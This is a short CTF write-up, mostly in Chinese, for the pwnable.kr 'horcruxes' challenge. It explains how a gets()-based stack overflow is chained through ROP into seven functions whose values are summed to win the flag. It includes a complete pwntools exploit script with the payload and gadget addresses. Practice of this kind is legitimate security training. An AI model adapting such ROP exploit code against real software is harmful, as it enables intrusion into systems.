Voldemort concealed his splitted soul inside 7 horcruxes.
Find all horcruxes, and ROP it!
author: jiwon choi
ssh horcruxes@pwnable.kr -p2222 (pw:guest)
题目开启了seccomp,初始随机生成了7个数,有一个ropme函数,让你输入一个数,如果这个数和随机生成的数一样就进入一个函数给你输入对应的随机数,如果你输入的和这七个随机数的和相同,那么给flag
题目在ropme里用了gets存在栈溢出,不过ropme对应的地址中有一个\x0a无法输入
因此直接rop进入这七个函数,然后跳转到call ropme重新调用函数输入这个随机数之和这个答案即可
正常是一个int,但是python我的exp没做处理,因此不是100%能跑通,但是多跑几次即可
exp如下:
from pwn import * p = ssh(host = 'pwnable.kr', user = 'horcruxes', password = 'guest', port = 2222) io = p.connect_remote('localhost', 9032) io.recvuntil('Select Menu:') io.sendline('1') io.recvuntil('How many EXP did you earned? : ') payload = b'a' * 0x78 + p32(0x809FE4B) + p32(0x809FE6A) + p32(0x809FE89) + p32(0x809FEA8) payload += p32(0x809FEC7) + p32(0x809FEE6) + p32(0x809FF05) + p32(0x809FFFC) io.sendline(payload) ans = 0 for i in range(7): io.recvuntil('(EXP +') tmp = int(io.recvuntil(')', drop = True), 10) info(str(i)+':'+str(tmp)) ans += tmp io.recvuntil('Select Menu:') io.sendline('1') io.recvuntil('How many EXP did you earned? : ') io.sendline(str(ans)) io.interactive()